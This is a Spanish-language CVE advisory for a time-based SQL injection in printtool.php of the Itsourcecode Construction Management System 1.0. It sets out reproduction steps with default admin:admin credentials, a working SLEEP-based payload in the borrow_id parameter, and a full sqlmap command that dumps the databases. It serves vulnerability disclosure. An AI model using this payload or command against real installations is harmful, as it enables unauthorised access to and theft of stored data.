CVE-2024-50972
Descripción
Una vulnerabilidad de inyección SQL en printtool.php del Sistema de Gestión de Construcción Itsourcecode 1.0 permite a atacantes remotos ejecutar comandos SQL arbitrarios a través del parámetro borrow_id.
Tipo de Vulnerabilidad
Inyección SQL
Proveedor del Producto
Itsourcecode
Código Base del Producto Afectado:
https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/ - 1.0
Componente Afectado:
El Sistema de Gestión de Construcción Itsourcecode v1.0 es vulnerable a inyección SQL a través del parámetro borrow_id en la página printtool.php
Vectores de Ataque:
- Configurar la aplicación localmente e iniciar sesión con las credenciales de administrador admin:admin
- Navegar a la siguiente URL en su navegador:
http://localhost/monitoring_system/printtool.php?borrow_id=5
- Inyectar payload SQL:
Modificar el parámetro borrow_id en la URL para incluir un payload de inyección SQL basado en tiempo.
http://localhost/monitoring_system/printtool.php?borrow_id=5'+AND+(SELECT+7254+FROM+(SELECT(SLEEP(20)))rcGT)--+xxQB
- Observar la respuesta de la aplicación:
La página debería tardar notablemente más (20 segundos) en cargar si la inyección es exitosa, confirmando que el parámetro borrow_id es vulnerable a inyección SQL.
- Ahora use la herramienta SQLMap para una mayor explotación y volcado de bases de datos usando el siguiente comando:
sqlmap.py -u http://localhost/monitoring_system/printtool.php?borrow_id=5 --risk 3 --level 3 --cookie="PHPSESSID=your_cookie_here" --dbs --technique=T --dump --no-cast
Referencia:
- https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/
- https://owasp.org/www-community/attacks/SQL_Injection